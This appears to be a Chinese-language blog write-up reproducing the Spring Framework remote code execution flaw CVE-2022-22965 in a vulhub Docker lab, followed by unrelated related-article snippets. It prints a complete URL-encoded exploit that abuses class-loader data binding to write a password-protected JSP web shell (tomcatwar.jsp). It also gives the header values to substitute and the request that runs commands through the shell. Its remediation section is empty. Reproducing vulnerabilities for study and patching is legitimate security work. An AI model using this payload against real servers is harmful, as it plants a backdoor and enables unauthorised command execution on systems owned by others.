Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

简介: Spring Framework存在远程代码执行漏洞,攻击者可通过该漏洞执行系统命令。

一、漏洞详情


Spring Framework 是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为J2EE应用程序开发提供一个好用的框架


这个漏洞的主要原因是在JDK 9+版本里,Spring MVC 的数据绑定时出现的漏洞,当Spring部署在JDK9及以上版本,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行


二、影响版本


  • Spring Framework 5.3.X < 5.3.18
  • Spring Framework 5.2.X < 5.2.20
  • 注:其他小版本未更新均受影响


不受影响版本


  • Spring Framework == 5.3.18
  • Spring Framework == 5.2.20

image.png

如上述条件有其中一项不满足,都无法造成危害!


三、漏洞复现


启动环境 docker-compose up -d


docker ps //查看进程


本地浏览器访问,出现如下界面,服务搭建成功!


漏洞Exp


?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=


将数据进行替换,点击Send发送

suffix: %>//

c1: Runtime

c2: <%

DNT: 1

Content-Length: 2


返回响应200,接下来以GET方式访问/tomcatwar.jsp?pwd=j&cmd=id,命令执行成功!


注意,在这里的多次执行会不断的往日志写文件,请勿频繁操作!


进入容器中查看文件内容


重要事情说三遍说三遍说三遍


不要频繁的往里面写,不然日志文件会爆满,消除方法就是使用 get 请求( vulhub 专属),停止写日志:


http://X.X.X.X:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=


四、漏洞原理分析


参考如下文章,对原理深度剖析:https://it.sohu.com/a/535760028_121292904


视频参考:https://www.bilibili.com/video/BV1H44y1V7P8


五、修复方法(仅供参考)

目录
打赏
0
1
1
0
141
分享
相关文章
Spring Framework 中的 @Autowired 注解:概念与使用方法
【4月更文挑战第20天】在Spring Framework中,@Autowired 注解是实现依赖注入(Dependency Injection, DI)的一种非常强大的工具。通过使用 @Autowired,开发者可以减少代码中的引用绑定,提高模块间的解耦能力
788 6
Spring Framework JDK >= 9 远程代码执行(CVE-2022-22965)
Spring Framework JDK >= 9 远程代码执行(CVE-2022-22965)
Spring Webflux 是 Spring Framework 提供的响应式编程支持
Spring Webflux 是 Spring Framework 提供的响应式编程支持
105 2
|
8月前
|
如何安装与使用Spring Boot 2.2.x、Spring Framework 5.2.x与Apache Shiro 1.7进行高效开发
【7月更文第1天】在现代Java Web开发领域,Spring Boot以其简化配置、快速开发的特点备受青睐。结合Spring Framework的成熟与Apache Shiro的强大权限控制能力,我们可以轻松构建安全且高效的Web应用。本篇文章将指导你如何安装并使用Spring Boot 2.2.x、Spring Framework 5.2.x以及Apache Shiro 1.7来构建一个具备基础权限管理功能的项目。
166 0
Spring Framework五大功能模块
Spring Framework五大功能模块
详细介绍SpringBoot启动流程及配置类解析原理
通过对 Spring Boot 启动流程及配置类解析原理的深入分析,我们可以看到 Spring Boot 在启动时的灵活性和可扩展性。理解这些机制不仅有助于开发者更好地使用 Spring Boot 进行应用开发,还能够在面对问题时,迅速定位和解决问题。希望本文能为您在 Spring Boot 开发过程中提供有效的指导和帮助。
46 12
SpringBoot项目打包成war包
通过上述步骤,我们成功地将一个Spring Boot应用打包成WAR文件,并部署到外部的Tomcat服务器中。这种方式适用于需要与传统Servlet容器集成的场景。
30 8
Spring Boot 两种部署到服务器的方式
本文介绍了Spring Boot项目的两种部署方式:jar包和war包。Jar包方式使用内置Tomcat,只需配置JDK 1.8及以上环境,通过`nohup java -jar`命令后台运行,并开放服务器端口即可访问。War包则需将项目打包后放入外部Tomcat的webapps目录,修改启动类继承`SpringBootServletInitializer`并调整pom.xml中的打包类型为war,最后启动Tomcat访问应用。两者各有优劣,jar包更简单便捷,而war包适合传统部署场景。需要注意的是,war包部署时,内置Tomcat的端口配置不会生效。
310 17
Spring Boot 两种部署到服务器的方式
springboot自动配置原理
Spring Boot 自动配置原理:通过 `@EnableAutoConfiguration` 开启自动配置,扫描 `META-INF/spring.factories` 下的配置类,省去手动编写配置文件。使用 `@ConditionalXXX` 注解判断配置类是否生效,导入对应的 starter 后自动配置生效。通过 `@EnableConfigurationProperties` 加载配置属性,默认值与配置文件中的值结合使用。总结来说,Spring Boot 通过这些机制简化了开发配置流程,提升了开发效率。
79 17
springboot自动配置原理
AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等